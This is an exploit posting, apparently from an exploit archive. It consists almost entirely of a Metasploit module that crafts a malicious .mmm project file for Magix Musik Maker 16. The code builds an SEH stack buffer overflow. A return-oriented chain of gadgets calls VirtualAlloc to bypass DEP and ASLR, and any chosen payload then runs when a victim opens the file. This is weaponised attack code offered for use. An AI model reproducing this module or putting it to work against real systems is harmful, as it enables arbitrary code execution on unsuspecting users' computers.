Magix Musik Maker 16 .mmm Stack Buffer Overflow (w/o egg-hunter)

---
My version of exploit...
Looks like bug the same as in:
http://www.exploit-db.com/exploits/17313/

My exploit does not use egg-hunter,  so it must be faster, but i have limited size for payload -
750 bytes 8)
Speed Vs Size...
---
# Title: Magix Musik Maker 16
# EDB-ID: ()
# CVE-ID: ()
# OSVDB-ID: 72455
# Author: Alexey Sintsov
# Published: 2011-05-22
# Verified:
# Download N/A

##
# $Id: musick_maker16.rb 12364 2011-05-03 07:53:58Z aaa $
##
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = GoodRanking

    include Msf::Exploit::FILEFORMAT
 

 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Musick Maker 16, Stack Buffer Overflow',
            'Description'    => %q{
                    This module exploits a stack buffer overflow in Musick Maker 16
                When opening a malicious .MMM file in Music Maker, a stack buffer occurs,
                resulting in arbitrary code execution via SEH.
                This exploit bypasses DEP & ASLR and works on XP, Vista & Windows 7. LTKRN14n.dll and LTDIS14n.dll used for ROP.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Alexey Sintsov',    

                ],
            'Version'        => '$Revision: 12364 $',
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload'        =>
                {
       'BadChars' => "\x00",
                     'DisableNops' => 'True',
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ '32-bit Windows Universal (Generic DEP & ASLR Bypass)',
                        {
       'Ret'    => 0x20012026, # ADD ESP,4F8 # RETN 4
       'Size'   => 750
                        }
                    ],
                ],
            'Privileged'     => false,
            'DisclosureDate' => 'May 02 2011',
            'DefaultTarget'  => 0))
 
        register_options(
            [
                OptString.new('FILENAME', [ true, 'The output file name.', 'msf.mmm']),

            ], self.class)
    end
   
def exploit
  
 badchars = target['BadChars']
 
 
    print_status("Creating '#{datastore['FILENAME']}' file ...")
    print_status("Preparing payload")
 
 aaa_header="\x52\x49\x46\x46\xE6\x9D\x06\x00\x53\x45\x4B\x44\x53\x56\x49\x50"+
            "\x10\x07\x00\x00\x9B\x5B\x6E\x00\x00\x00\x00\x00\x11\x00\x00\x00"+
      "\x08\x00\x00\x00\x44\xAC\x00\x00\x11\x00\x00\x00\x00\x00\x00\x00"+
      "\x00\x00\x39\x40\x00\x00\xF0\x42\x00\x00\x00\x00\xBD\x04\xEF\xFE"+
      "\x00\x00\x01\x00\x00\x00\x10\x00\x06\x00\x00\x00\x00\x00\x10\x00"+
      "\x06\x00\x00\x00\x3F\x00\x00\x00\x28\x00\x00\x00\x04\x00\x04\x00"+
      "\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
      "\xF3\x8E\x32\x01\xD0\x02\x00\x00\x40\x02\x00\x00\x55\x55\x55\x55"+
      "\x55\x55\xF5\x3F\x10\x00\x00\x00\x00\x00\x00\x00\xFF\xFF\xFF\xFF"+
      "\xFF\xFF\xFF\xFF"

 aaa_list="\x4C\x49\x53\x54\x04\x25\x02\x00\x70\x68\x79\x73\x66\x69\x6C\x65\xF8\x08"
 
    rop_pivot =
 [
  0x20012026, # ADD ESP,4F8 # RETN 4
 ].pack("V*")
 
    rop_nop =
 [
  0x1FF727C6, # RETN
 ].pack("V*")
 
 rop_jmp =
 [
  0x2001DD16, # ADD ESP, 40 # RETN
 ].pack("V*")
 
 rop_gadgets2 =
 [
  0x1FFFB8D9,  # XCHG EAX,EBP # RETN
  0x1FF727C5,  # POP ECX # RETN    //  ECX = FFFFFFFF
  0xffffffff,
  0x20048546,  # ADC ECX,EBP # RETN           // ECX - saved stack
  0x1FFA82EF,  # POP EAX # RETN
  0x1FFAF154,  #  ----+                // [EAX+C] will point on VA
  0x1FFFB8D9,  # XCHG EAX,EBP # RETN   // now [EBP+C] will point on VA
  0x1FFA817E,  # MOV EAX,DWORD PTR SS:[EBP+C] # POP EDI # POP ESI # POP EBX # POP EBP # RETN 0C
  0xAAAAAAAA,
  0xAAAAAAAA,
  0xAAAAAAAA,
  0xAAAAAAAA,
  0x1FFFB8D9,   # XCHG EAX,EBP # RETN
  0xBBBBBBBB,
  0xBBBBBBBB,
  0xBBBBBBBB,
  0x1FF72620,   # MOV EAX,ECX # POP EBX # RETN
  0xAAAAAAAA,
  0x1FFFB8D9,   # XCHG EAX,EBP # RETN      // EBP - saved stack pointer
  0x2004A8C1,   # CALL EAX  # RETN        // call VirtAlloc
  0x31313131,   # // param 1
  0x32323232,   # // param 2
  0x33333333,   # // param 3
  0x34343434,   # // param 4
  0x2001215B,  # PUSH ESP # RETN 4
 ].pack("V*")

    rop_gadgets =
        [
  0x1FFFB8D9,  # XCHG EAX,EBP # RETN              // Pointer in EAX
  0x1FF95F45,  # PUSH EAX # POP ESI # RETN 8      // Pointer in ESI an EAX
  0x1FFA82EF,  # POP EAX # RETN
  0x11111111,  #     ^
  0x22222222,  #     | 
  0xFFFFFc74,  #  ---+ 
  0x200263f5,  # NEG EAX  # RETN                  // EAX = OFFSET
  0x1FF74212,  # ADD EAX,ESI # POP ESI # RETN     // pointer in stack on our HEAP
  0x33333333,
  0x1FF939F2,  # MOV EAX,DWORD PTR DS:[EAX+90] # RETN 4// EAX -> POINTER+OFFSET --- here are our params in HEAP
  0x1FF95F45,  # PUSH EAX # POP ESI # RETN 8     // EAX and ESI = POINTER+OFFSET --- here are our params in HEAP
  0x44444444,
  0x1FFFB8D9,  # XCHG EAX,EBP # RETN              // EBP = Pointer as param 1
  0x44444444,
  0x55555555,
   
  0x1FF727C5,  # POP ECX # RETN         //  ECX = ffffff10
  0xffffff10,
  0x20048546,  # ADC ECX,EBP # RETN              //  ECX = Pointer on stack - as param 1
  0x2003C7AD,  # MOV EAX,ESI # POP ESI # RETN   // EAX=PARAMS POINTER
  0x66666666,
  0x1FF95F45,  # PUSH EAX # POP ESI # RETN 8    //  resave in ESI
  0x1FF891C4,  # MOV DWORD PTR DS:[EAX+4],ECX # RETN  // WRITE PARAM 1 - pointer on stack
  0x77777777,
  0x88888888,
   
  0x1FFA883A,  # XOR EAX,EAX # RETN
  0x1FF7519F,  # ADD AL,40 # RETN    // EAX=40
  0x1FFFB8D9,  # XCHG EAX,EBP # RETN              // EBP = 40
  0x1FF727C5,  # POP ECX # RETN      //  ECX = ffffffd0
  0xffffffd0,
  0x20048546,  # ADC ECX,EBP # RETN             //  ECX = 10
  0x2003C7AD,  # MOV EAX,ESI # POP ESI # RETN   // EAX=PARAMS POINTER
  0x99999999,
  0x1FF95F45,  # PUSH EAX # POP ESI # RETN 8    //  resave in ESI
  0x1FF9EAF7,  # MOV DWORD PTR DS:[EAX+8],ECX # RETN  // WRITE PARAM 2 - size(10)
  0xaaaaaaaa,
  0xbbbbbbbb,
   
  0x1FFA82EF,  # POP EAX # RETN               // EAX = FFFFEFFF
  0xffffefff,
  0x200263f5,  # NEG EAX  # RETN             // EAX=1001 (cos 1000 with null bytes)
  0x1FFA0231,  # DEC EAX # RETN                       // EAX=1000
  0x1FFFB8D9,  # XCHG EAX,EBP # RETN              // EBP = 1000
  0x1FF727C5,  # POP ECX # RETN      //  ECX = FFFFFFFF
  0xffffffff,
  0x20048546,  # ADC ECX,EBP # RETN             //  ECX = 1000 - MEM_COMMIT
  0x2003C7AD,  # MOV EAX,ESI # POP ESI # RETN   // EAX=PARAMS POINTER
  0xcccccccc,
  0x1FF751A0,  # INC EAX # RETN
  0x1FF751A0,  # INC EAX # RETN
  0x1FF751A0,  # INC EAX # RETN
  0x1FF751A0,  # INC EAX # RETN
  0x1FF751A0,  # INC EAX # RETN
  0x1FF751A0,  # INC EAX # RETN
  0x1FF751A0,  # INC EAX # RETN
  0x1FF751A0,  # INC EAX # RETN
  0x1FF95F45,  # PUSH EAX # POP ESI # RETN 8     // resave in ESI
  0x1FF891C4,  # MOV DWORD PTR DS:[EAX+4],ECX # RETN  //  WRITE PARAM 3 - MEM_COMMIT
  0xdddddddd,
  0xdddddddd,
  
  0x1FF727C5,  # POP ECX # RETN      //  ECX = ffffffFF
  0xffffffff,
  0x20033FB9,  # INC ECX # ADD AL,3 # RETN    //  ECX=0
  0x1FFA883A,  # XOR EAX,EAX # RETN
  0x1FF7519F,  # ADD AL,40 # RETN         // EAX=40
  0x1FFFB8D9,  # XCHG EAX,EBP # RETN              // EBP = 40
  0x20048546,  # ADC ECX,EBP # RETN             //  ECX = 40
  0x2003C7AD,  # MOV EAX,ESI # POP ESI # RETN   // EAX=PARAMS POINTER
  0xeeeeeeee,
  0x1FF9EAF7,  # MOV DWORD PTR DS:[EAX+8],ECX # RETN  //  WRITE PARAM 4 - WRITE_EXECUTE
  0x1FF727C5,  # POP ECX # RETN
  0xFFFFFFAC,  # -84 -^
  0x1FF75190,  # ADD EAX,ECX # RETN  EAX=EAX-84
  0x2004387F,  # XCHG EAX,ESP # RETN  // New stack pointer in HEAP-------->rop_gadgets2
   
 ].pack("V*")
 
 #Jump to shellcode
 shell_jmp="\x87\xe5"+  # XCHG ESP, EBP <---- take back stack pointer
 "\x33\xc0"+    # XOR EAX, EAX
 "\x04\x40"+      # ADD AL, 40
 "\x50"+     # PUSH EAX
 "\x33\xc0"+    # XOR EAX, EAX  
 "\xb4\x10"+             # MOV AH, 10
 "\x50"+     # PUSH EAX
 "\x8b\xc5"+    # MOV EAX, EBP
 "\x33\xc9"+    # XOR ECX,ECX
 "\xb5\x05"+    # MOV CH, 5
 "\xb1\xee"+    # MOV CL, EE
 "\x2b\xc1"+    # SUB EAX, ECX <--- block with shellcode
 "\x51"+     # PUSH ECX
 "\x50"+     # PUSH EAX
 "\x8b\xf8"+    # MOV EDI, EAX
 "\xb9\x60\xf1\xfa\x1f"+ # MOV ECX, 1FFAF160
 "\xff\x11"+    # CALL [ECX] -> call kenrnel32.VirtualAlloc(shellcode,0x826,MEM_COMMIT,READWRITE_EXECUTE)
 "\xff\xe7"     # JMP EDI -> JMP shellcode

 pivot = [target.ret].pack('V')
      
 shellcode=payload.encoded
      
    nops = make_nops(8)
 
 aaa_data = aaa_header
 aaa_data << "\x00"*1680
 aaa_data << aaa_list
 aaa_data << "\x00"*25
 
 #### This will be in heap, not in the stack
 aaa_data << "C:\\aaa\\"
 aaa_data << shellcode # 7. Shellcode run
 aaa_data << "a"*(target['Size']-shellcode.length) 
 
 aaa_data << "a"*328
 
 aaa_data << "\x00"*16
 
 
 aaa_data << "x"*320
 aaa_data << rop_gadgets2 # 4. call VirtualAlloc, jmp to ESP (5.)
 aaa_data << shell_jmp    # 5. call VA again and JMP to shellcode (6.)
 aaa_data << "a"*61
 
 #### And this will be in stack!
 aaa_data << rop_jmp*32   # 2. After satck pivot, jump to (3.)
 aaa_data << "a"*16
 aaa_data << [target.ret].pack('V')   # 1. SEH rewrite -> ADD ESP, xxx and we are in (2.)
 aaa_data << rop_nop*10  # 3. ROP-NOP
 aaa_data << rop_gadgets # 4. ROP programm, calc in HEAP and make new stack  (4.)
 aaa_data << "a"*31337    # truncated
 
        print_status("Writing payload to file, " + aaa_data.length.to_s()+" bytes")
 
 if shellcode.length>target['Size']
  print_status("ERROR, too big payload!")
 else
     file_create(aaa_data)
 end
    end
end